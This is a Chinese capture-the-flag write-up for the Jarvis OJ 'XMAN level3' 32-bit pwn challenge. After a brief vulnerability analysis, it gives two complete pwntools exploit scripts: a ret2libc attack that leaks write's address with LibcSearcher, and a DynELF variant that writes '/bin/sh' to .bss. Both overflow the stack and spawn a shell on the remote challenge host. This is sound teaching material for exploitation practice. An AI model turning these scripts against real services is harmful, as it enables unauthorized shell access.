[Jarvis OJ - PWN]——[XMAN]level3
- 题目地址:https://www.jarvisoj.com/challenges
- 题目:
先checksec一下,32位程序开启了NX保护。
在IDA看下。第一个函数中,有可以栈溢出利用的函数read。查找发现没有system函数和’/bin/sh’字符串。
expolit
from pwn import *
from LibcSearcher import *
p=remote("pwn2.jarvisoj.com",9879)
elf=ELF("level3")
main_addr=0x08048484
write_plt=elf.plt["write"]
write_got=elf.got["write"]
read_plt=elf.plt["read"]
payload = 'a'*(0x88 + 0x4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4) # 泄露write的实际地址,并且返回mian函数进行重复调用
p.sendlineafter("Input:\n",payload)
write_addr = u32(p.recv(4)) ##找到write的实际地址
log.success("write_addr: "+hex(write_addr))
libc = LibcSearcher('write',write_addr) #选择合适的libc版本,可以都试试如果有两个的话
libc_base=write_addr-libc.dump('write') #找到Libc的基地址
system_addr=libc_base+libc.dump('system') #利用基地址和偏移计算函数地址
bin_sh_addr=libc_base+libc.dump('str_bin_sh')
payload = 'a'*(0x88 + 0x4) + p32(system_addr) + p32(0) + p32(bin_sh_addr)
p.sendlineafter("Input:\n",payload)
p.interactive()
或许你们可能看的其他的DynELF解法,可以自行百度查看用法,不过有点老说实话。
from pwn import *
p=remote("pwn2.jarvisoj.com",9879)
elf=ELF("level3")
main_addr=0x08048484
pop_pop_pop_ret=0x08048519
plt_write=elf.plt["write"]
#模板百度就可以找到,write和puts的模板不一样。32和64位模板也不一样
def leak(address):
p.recvline()
payload = "a" * (0x88 + 0x4) + p32(plt_write) + p32(main_addr) + p32(1) + p32(address) + p32(4)
p.send(payload)
data=p.recv(4)
print hex(u32(data))
print "%#x => %s" % (address,(data or '').encode('hex'))
return data
d=DynELF(leak,elf=ELF("./level3"))
system_addr=d.lookup('system','libc')
bss_addr=0x0804a027
plt_read=elf.plt["read"]
p.recvline()
#思路找到一块没有被利用内存,将'/bin/sh'写进去。作为参数传给system
payload = "a" * (0x88 + 0x4) + p32(plt_read) + p32(pop_pop_pop_ret) + p32(0) + p32(bss_addr) + p32(8)
payload+=p32(system_addr)+p32(0x77777777)+p32(bss_addr)
p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()